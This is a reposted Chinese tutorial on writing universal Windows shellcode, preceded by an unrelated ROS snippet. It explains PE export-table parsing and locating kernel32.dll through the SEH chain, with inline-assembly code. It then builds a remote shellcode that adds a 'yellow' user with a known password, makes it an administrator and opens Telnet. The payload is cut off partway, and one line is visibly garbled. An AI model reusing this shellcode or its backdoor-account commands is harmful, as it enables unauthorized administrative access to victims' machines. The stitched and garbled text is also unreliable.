【分析】通用ShellCode深入剖析

ROS动作编程练习 参考链接:https://blog.youkuaiyun.com/qq_42451251/article/details/104664926。存放工程开发相关文件的文件夹,其中主要包括src,build,devel,install文件夹。2.向ROS Master注册节点信息,包括发布的话题名和话题中的消息类型。打开callBackYuan.cpp文件,输入如下代码。4.在回调函数中完成服务功能的处理,并反馈应答数据。1.设置需要编译的代码和生成的可执行文件。1.设置需要编译的代码和生成的可执行文件。 阅读详情

通用ShellCode深入剖析


创建时间:2004-01-08
文章属性:转载
文章提交: l0pht (vbs_at_21cn.com)

[SafeChina推荐]通用ShellCode深入剖析


                       通用ShellCode深入剖析
                           作者:yellow
                     Email:yellow@safechina.net
                    Home Page: www.safechina.net
                         Date:2003-12-19
前言:
    在网上关于ShellCode编写技术的文章已经非常之多,什么理由让我再写这种技术文
章呢?本文是我上一篇溢出技术文章<Windows 2000缓冲区溢出技术原理>的姊妹篇,同样
的在网上我们经常可以看到一些关于ShelCode编写技术的文章,似乎没有为初学者准备的
,在这里我将站在初学者的角度对通用ShellCode进行比较详细的分析,有了上一篇的溢出
理论和本篇的通用ShellCode理论,基本上我们就可以根据一些公布的Window溢出漏洞或
是自己对一些软件系统进行反汇编分析出的溢出漏洞试着编写一些溢出攻击测试程序.
    文章首先简单分析了PE文件格式及PE引出表,并给出了一个例程,演示了如何根据PE
相关技术查找引出函数及其地址,随后分析了一种比较通用的获得Kernel32基址的方法,
最后结合理论进行简单的应用,给出了一个通用ShellCode.
    本文同样结合我学习时的理解以比较容易理解的方式进行描述,但由于ShellCode的
复杂性,文章主要使用C和Asm来讲解,作者假设你已具有一定的C/Asm混合编程基础以及上
一篇的溢出理论基础,希望本文能让和我一样初学溢出技术的朋友有所提高.

[目录]

1,PE文件结构的简介,及PE引出表的分析.
  1.1 PE文件简介
  1.2 引出表分析
  1.3 使用内联汇编写一个通用的根据DLL基址获得引出函数地址的实用函数
      GetFunctionByName

2,通用Kernel32.DLL地址的获得方法.
  2.1 结构化异常处理和TEB简介
  2.2 使用内联汇编写一个通用的获得Kernel32.DLL函数基址的实用函数
      GetKernel32

3,综合运用(一个简单的通用ShellCode)
  3.1 综合前面所讲解的技术编写一个添加帐号及开启Telnet的简单ShellCode:
      根据第2节所述技术使用我们自己实现的GetFunctionByName获得LoadLibraryA和
      GetProcAddress函数地址,再使用这两个函数引入所有我们需要的函数实现期望的
      功能.

4,参考资料.

5,关键字.
--------------------------------------------------------------------------------

                    一,PE文件结构及引出表基础
1,PE文件结构简介

    PE(Portable Executable,移植的执行体),是微软Win32环境可执行文件的标准格式
(所谓可执行文件不光是.EXE文件,还包括.DLL/.VXD/.SYS/.VDM等)

PE文件结构(简化):

                         -----------------
                         │1,DOS MZ header│
                         -----------------
                         │2,DOS stub     │
                         -----------------
                         │3,PE header    │
                         -----------------
                         │4,Section table│
                         -----------------
                         │5,Section 1    │
                         -----------------
                         │6,Section 2    │
                         -----------------
                         │  Section ...  │
                         -----------------
                         │n,Section n    │
                         -----------------

记得在我还没有接确Win32编程时,我曾在Dos下运行过一个Win32可执行文件,程序只输出
了一行"This program cannot be run in DOS mode.",我觉得很有意思,它是怎么识别自
己不在Win32平台下的呢?其实它并没有进行识别,它可能简单到只输入这一行文字就退出
了,可能源码就像下面的C程序这么简单:

#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode./n");
}

你可能会问"我在写Win32程序时并没有写过这样的语句啊?",其实这是由连接器(linker)
为你构建的一个16位DOS程序,当在16位系统(DOS/Windows 3.x)下运行Win32程序时它才会
被执行用来输出一串字符提示用户"这个程序不能在DOS模式下运行".

我们先来看看DOS MZ header到底是什么东西,下面是它在Winnt.h中的结构描述:

typedef struct _IMAGE_DOS_HEADER {      //DOS .EXE header
    WORD   e_magic;                     //0x00 Magic number
    WORD   e_cblp;                      //0x02 Bytes on last page of file
    WORD   e_cp;                        //0x04 Pages in file
    WORD   e_crlc;                      //0x06 Relocations
    WORD   e_cparhdr;                   //0x08 Size of header in paragraphs
    WORD   e_minalloc;                  //0x0a Minimum extra paragraphs needed
    WORD   e_maxalloc;                  //0x0c Maximum extra paragraphs needed
    WORD   e_ss;                        //0x0e Initial (relative) SS value
    WORD   e_sp;                        //0x10 Initial SP value
    WORD   e_csum;                      //0x12 Checksum
    WORD   e_ip;                        //0x14 Initial IP value
    WORD   e_cs;                        //0x16 Initial (relative) CS value
    WORD   e_lfarlc;                    //0x18 File address of relocation table
    WORD   e_ovno;                      //0x1a Overlay number
    WORD   e_res[4];                    //0x1c Reserved words
    WORD   e_oemid;                     //0x24 OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   //0x26 OEM information; e_oemid specific
    WORD   e_res2[10];                  //0x28 Reserved words
    LONG   e_lfanew;                    //0x3c File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

    DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指针),cs(代码段寄存
器),需要分配的内存大小,checksum(校验和)等,当DOS准备为可执行文件建立进程时会读取其
中的值来完成初使化工作.

    留意到最后一个结构成员了吗?微软的人对它的描述是File address of new exe header
意义是"新的exe文件头部地址",它是一个相对偏移值,我想文件偏移量你一定知道是什么吧!
e_lfanew就是一个文件偏移值,它指向PE header,它对我们来说非常重要.紧跟着DOS MZ header
的是DOS stub它是linker为我们建立的这个16位DOS程序的代码实体部分,就是它输出了
"This program cannot be run in DOS mode.".再后面就是PE header了,有人曾问过我PE头部
相对于.exe文件的偏移是不是固定的?这个可不好说,不同的编译器生成的stub长度可能不一样
(比如:它可能存储了这样一个字串来提示用户"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那么这个stub的长度将比前面的那个长),所以用一个固定值来定位PE header
是不科学的,这个时候我们就用到了e_lfanew,它指向真正的PE header,它总是正确吗?那是当然
的!linker总是会它赋予一个正确的值.所以我们要它精确定位PE header,同样的Win32 PELoader
也根据e_lfanew来定位真正的PE header,并使用PE header中的不同的成员值进行初使化,PE还
包涵了很多个"节"(Section),有用来存储数据的,有用来存可执行代码的,还有的是用来存资源
的(如:程序图标,位图,声音,对话框模板等)
    下面我只简单分析一下PE结构与编写ShellCode相关的部分,如果你对其它部分也比较感兴趣
可以看看台港侯俊杰先生译的<Windows 95系统程序设计大奥秘>中的相关内容以及Iczelion的经
典PE教程,我个人觉得将两者结合起来看要好一点.

2,引出表分析

    在PE header结构(你可以Winnt.h中找到它)中包括一个DataDirectory结构成员数组,可以通
过这样的方法来找到它的位置:
   PE头部偏移=可执行文件内存映象基址+0x3c(e_lfanew)
   PE基址=可执行文件内存映象基址+PE头部偏移
   引出表目录指针(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
   引出函数名称表首指针(char**)=引出表目录基址+0x20
   引出函数地址表首指针(DWORD **)=引出表目录指针+0x1c
它的结构定义是这样的:

typedef struct _Image_Data_Directory{
    DWORD  VirtualAddress;
    DWORD  isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

该结构数组共包括16成员,第一个成员的VirtualAddress存储了一个相对偏移量,它指向一个
IMAGE_EXPORT_DIRECTORY结构,它的定义是这样的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;//0x00
    DWORD   TimeDateStamp;//0x04
    WORD    MajorVersion;//0x08
    WORD    MinorVersion;//0x0a
    DWORD   Name;//0x0c
    DWORD   Base;//0x10
    DWORD   NumberOfFunctions;//0x14
    DWORD   NumberOfNames;//0x18
    DWORD   AddressOfFunctions;//0x1c RVA from base of image
    DWORD   AddressOfNames;//0x20 RVA from base of image
    DWORD   AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

    其中AddressOfFunctions里又存储了一个二级指针,它指向一个DWORD型指针数组该数
组成员所指就是函数地址值,但其中的值是函数相对于可执行文件在内存映象中基地址的一
个相对偏移值,真正的函数地址等于这个相对偏移值+可执行文件在内存映象中的基地址,我
们可以Call这个计算后的真实地址来调用函数.AddressOfNames是一个二级字符指针,该数组
成员所指就是函数名称字符串相对于可执行文件在内存映象中的基地址的一个偏移值,同样
可以通过相对偏移值+可执行文件在内存映象中的基地址来引用函数名称字串.Name也是一个
字符指针,它也只存储了相对偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向
的字串就为"KERNEL32.dll".

3,本节应用实例

    关于PE和引出表我们已经分析了与编写ShellCode密切相关的部分,这一部分的确有点难,
但一定要把它搞清楚,只有把它搞懂我们才能进行下一节的学习,在本节的最后附上一个小程序,
在内联汇编代码中大量使用了"间接引用",如果你对指针很熟悉基本上它很好理解,在程序里我
们实现了Windows API GetProcAddress的功能,这种技术对于想使用一些未公开的系统函数也是
非常之有用的.
------------                             -----------------------------------------

GetFunctionByName函数可以从一个PE执行文件中以函数名查找引出表并返回引出函数地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我们不包括头文件也可以使用任何一个
Windows API.在我的机器上它是0x77e60000程序如下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//参数:
//    ImageBase:   可执行文件的内存映象基址
//    FuncName:    函数名称指针
//    flen:        函数名称长度
//返回值:
//    函数成功时返回有效的函数地址,失败时返回0.
//最终在写ShellCode时,应该给该函数加上__inline声明,因为它要与ShellCode融为一体.

//注意,在本例中我们没有包括任何一个.h文件

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模块名,如果在查找KERNEL32.DLL的引出函数那么它将指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:xor eax,eax//如果没有找到,则返回0
Found:
}
}
/*
让我们来测试一下,先用GetFunctionByName获得kernel32.dll中LoadLibraryA
的地址,再用它装载user32.dll,再用GetFunctionByName获得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我机器上的kernel32.dll的基址,不同机器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相当于执行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的长度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C调用约定,由调用者调整堆栈
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相当于执行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函数的内联汇编代码有很多这样的语句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我试过使用mov eax,[ImageBase+eax+0x??]之类的语法,因为用到很多多级指针,而它们指向
的又是相对偏移量所以要不断的"获取和计算",否则很容易导致"访问违例".编译运行,弹出了
一个MessageBox标题和内容都是"test"看到了吗?你可能会问这个程序拿到其它机器上也可能
运行吗?在整个程序里我们唯一依赖的就是0x77e60000这个kernel32.dll基址,其它机器上的
可能不是这个值,如果这个地址值可以在程序运行时动态的计算出来,那么这个程序将非常通
用,它可以动态计算出来吗?答案是肯定的!下一节我们将来分析一种并不很流行但很通用的动
态计算获得kernel32.dll基址的方法.

---------------------------------------------------------------------------------

                   二,在动态获得Kernel32.DLL地址方法的分析

1,简析结构化异常处理(SEH,Structred Exception Handling)
    SEH已经不是很什么新技术了,但是对于我将要讲了非常重要,所以在这里对它做一个简单的
分析.Ok,打开VC,让我们来分析一个简单的"除"运算程序,看看它哪里有问题:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
编译,运行:输入4 2,程序输出"4 DIV 2 = 2",结果很正确.再运行输入 4 0,问题出来了,
Visual Studio弹出了一个信息框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出现了未处理的
"除0异常",传统的方法是我们在z=x/y之前加上判断:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
出错处理在这个小程序里这的确很容易看懂,可是想想如果在数千甚至上万行的程序里,这样的
错误捕获处理会让程序变的十分凌乱难懂,而且传统方法处理的是我们可以想像(猜测)到的错误,
但是某些导到程序出错的情况是很随机的,这样就不能保证程序的健壮性了,而SEH正是为了让正
常的处理代码和出错处理代码分开,以使程序结构清淅,并使程序更加
健壮.让我们再把这个小程序改一下:
#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出错的程序段封装起来
z=x/y;
                //......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在这里找出出现异常的原因,并进行处理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0异常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://内存访问违例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %d/n",x,y,z);
LQUIT:
getch();
return 0;
}
这样我们就使终都可以捕获到异常了,编译,选择"Disassembly",可以看到这样的代码:
push        offset __except_handler3 (00401330)
mov         eax,fs:[00000000]
push        eax
mov         dword ptr fs:[0],esp
这是实际上是标准的SEH异常处理函数的注册方法,我们的__except(){}实际在编译时被当成一个
线程相关的异常处理函数,实际上这段代码的作用是将我们的异常处理函数加入异常处理结构链
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是这个异常处理函数链表的首指针,它的最后一条记录
的节点指针指向0xffffffff.它的结构描述是这样的:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
  struct _EXCEPTION_REGISTRATION_RECORD * pNext;    //指向后面的节点
  FARPROC                                pfnHandler;//指向异常处理函数
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

你可能会问"你怎么知道fs:[0]是该结构的首指针呢?",当然我没有那么天才,从Windows 95系统程序
设计一书中可以得知每当创建一个线程,系统均会为每个线程分配TEB(Thread Environment Block)
在Windows 9x中被称为TIB(Thread Information Block),而且TEB永远放在fs段选择器指定的数据段
的0偏移处.
-----------------------------------                       -----------------------------
再看一下TEB的结构定义你就会明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意这个指针成员
                                         ---------------------------------------------------------
PVOID  pvStackUserTop;        // 04h Top of user stack
PVOID  pvStackUserBase;        // 08h Base of user stack

union                          // 0Ch (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      WORD    pvTDB;          // 0Ch TDB
      WORD    pvThunkSS;      // 0Eh SS selector used for thunking to 16 bits
      DWORD  unknown1;      // 10h
  } WIN95;

  struct  // WinNT fields
  {
      PVOID SubSystemTib;    // 0Ch
      ULONG FiberData;        // 10h
  } WINNT;
} TIB_UNION1;

PVOID  pvArbitrary;            // 14h Available for application use
struct _tib *ptibSelf;          // 18h Linear address of TIB structure

union                          // 1Ch (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      WORD    TIBFlags;          // 1Ch
      WORD    Win16MutexCount;    // 1Eh
      DWORD  DebugContext;      // 20h
      DWORD  pCurrentPriority;  // 24h
      DWORD  pvQueue;            // 28h Message Queue selector
  } WIN95;

  struct  // WinNT fields
  {
      DWORD unknown1;            // 1Ch
      DWORD processID;            // 20h <=---注意这个和下面一个成员
      //-------------
      DWORD threadID;            // 24h <=---注意这个成员
      //-------------
      DWORD unknown2;            // 28h
  } WINNT;
} TIB_UNION2;

PVOID*  pvTLSArray;            // 2Ch Thread Local Storage array

union                          // 30h (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      PVOID*  pProcess;      // 30h Pointer to owning Process Database
  } WIN95;
} TIB_UNION3;

} TIB, *PTIB;

看见了吗?TEB的第一个成员pvExcept是异常处理链首指针Head of exception record list,它相对于
TEB首地址0x00偏移处,而TEB永远放在fs段寄存器的0x00偏移处,也就是fs段寄存器的0x00偏移处.
看到我让你留意的另两个成员了吗?processID存储了当前线程属进程的ID号,threadID存储了当前线程
ID号,这样我们又可以实现两Windows API了:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//读取TEB的processID成员内容,通过eax返回
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//读取TEB的threadID成员内容,通过eax返回
ret
}
}
//测试一下
void main(void)
{
printf("MY PID=%d/tAPI PID=%d/n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d/tAPI TID=%d/n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程序输出:
MY PID=1448     API PID=1448
MY TID=1204     API TID=1204

注意,不同的机器,不同时刻这里输出的值可能不一样,但MY PID恒等于API PID,MY TID恒等API TID.越
来越有意思了吧!说了这么多,那么这些与获得kernel32.dll基址有什么关系吗?不要着急,继续往下看你
就会明白的!

2,通过异常处理函数链表查找kernel32.dll基地址

现在让我们来看看异常处理的顺序,它是这样的:
    当一个异常发生时,系统会从fs:[0]处读取异常处理函数链表首指针,开始问所有在应用程序中注册的
异常处理函数,比如上面的"除0异常",系统会把这个异常通知我们的异常处理函数,函数识别出是"除0异常",
并给予了处理(输出了"Can not Divide by Zero!"),并告诉系统"我已经处理过了,不用再问其它函数了".
    如果我们的函数不打算处理这个异常可以交给兄弟节点中异常处理函数指针指向的其它异常处理函数
处理,如果程序中注册的异常处理均不处理这个异常,那么系统将把它发送给当前调试工具,如果应用程序当
前不处在调试状态或是调试工具也不处理这个异常的话,系统将把它发送给kernel32的UnhandledExceptionFilter
函数进行处理,当然它是由程序异常处理链最后一个节点的pfnHandler(参考EXCEPTION_REGISTRATION_RECORD)
函数指针成员指向的,该节点的pNext成员将指向0xffffffff.
    看了这么多有点灵感了吗?我们已经有了kernel32.dll的一个引出函数的地址了,难道还找不出它的基址
吗?看看下面的这个小程序吧!
/*
  原型:unsigned int GetKernel32(void);
  参数:无
  返回值:
      函数总是能返回Kernel32.dll的基地址
  说明:根据PE可执行文件特征从UnhandledExceptionFilter函数地址向上线性查找,使用__inline是为了与
       最终的ShellCode融为一体,使用__declspec(naked)是为了不让编译器自作聪明生成一些"废话",让它
       完全按照我们自己的Asm语句来描述函数.
*/
#include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()
{
  __asm
{
    push esi
push ecx
mov  esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到达最后一个节点(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否则往后遍历,一直到最后一个节点
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根据PE执行文件以64k对界的特征加快查找速度
cmp word ptr [eax],'ZM'//根据PE可执行文件特征查找KERNEL32.DLL的基址
jne MoveUp//如果当前地址不符全MZ头部特征,则向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根据PE可执行文件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE头部特征,则认为已经找到,并通过Eax返回给调用者
MoveUp:
dec eax//准备指向下一个界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}

void main(void)
{
printf("%0.8X/n",GetKernel32());
getch();
}


完成了本节的学习以后,你应该掌握常用于编写病毒和ShellCode的几种技术:
1,根据PE文件查找引出函数地址
2,动态计算KERNEL32.DLL的基址
3,动态装载需要的运行库及动获得需要的Windows API(s)
在最后一节里我们将对前面所分析的技术做一个综合应用,写一个简单的ShellCode
--------------------------------------------------------------------------------------------
                                      三,综合运用
本节我们将综合前面分析的技术编写一个简单的通用ShellCode,这个ShellCode将首先在远程机器上新建一个
用户,用户名yellow,密码yellow,如果如果可能将把该用户加入Administrators用户组,如果可能还会打开Telnet
服务,请留意我的编码风格,这样风格对以后的ShellCode功能扩充提供很大方便.源程序如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
push esi
push ecx
mov  esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';    
_emit 'e';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'A';    
_emit 'd';    
_emit 'd';    
_emit 'r';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';      
_emit 'o';      
_emit 'a';      
_emit 'd';      
_emit 'L';      
_emit 'i';      
_emit 'b';      
_emit 'r';      
_emit 'a';      
_emit 'r';      
_emit 'y';      
_emit 'A';      
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
call LEXITPROCESS//1
_emit 'E';    
_emit 'x';    
_emit 'i';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';      
_emit 'i';      
_emit 'n';      
_emit 'E';      
_emit 'x';      
_emit 'e';      
_emit 'c';      
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';    
_emit 'o';    
_emit 'c';    
_emit 'k';    
_emit 'e';    
_emit 't';    
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';      
_emit 'i';      
_emit 'n';      
_emit 'd';      
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';      
_emit 'o';      
_emit 'n';      
_emit 'n';      
_emit 'e';      
_emit 'c';      
_emit 't';      
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';    
_emit 'c';    
_emit 'c';    
_emit 'e';    
_emit 'p';    
_emit 't';    
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';      
_emit 'i';      
_emit 's';      
_emit 't';      
_emit 'e';      
_emit 'n';      
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';    
_emit 'e';    
_emit 'n';    
_emit 'd';    
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';    
_emit 'e';    
_emit 'c';    
_emit 'v';    
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';      
_emit 'l';      
_emit 'o';      
_emit 's';      
_emit 'e';      
_emit 's';      
_emit 'o';      
_emit 'c';      
_emit 'k';      
_emit 'e';      
_emit 't';      
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';    
_emit 'S';    
_emit 'A';    
_emit 'S';    
_emit 't';    
_emit 'a';    
_emit 'r';    
_emit 't';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';    
_emit 'S';    
_emit 'A';    
_emit 'C';    
_emit 'l';    
_emit 'e';    
_emit 'a';    
_emit 'n';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容

//填写
}
//3,装载所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
}
//4,获取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
}
//5,编写ShellCode的功能实体部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
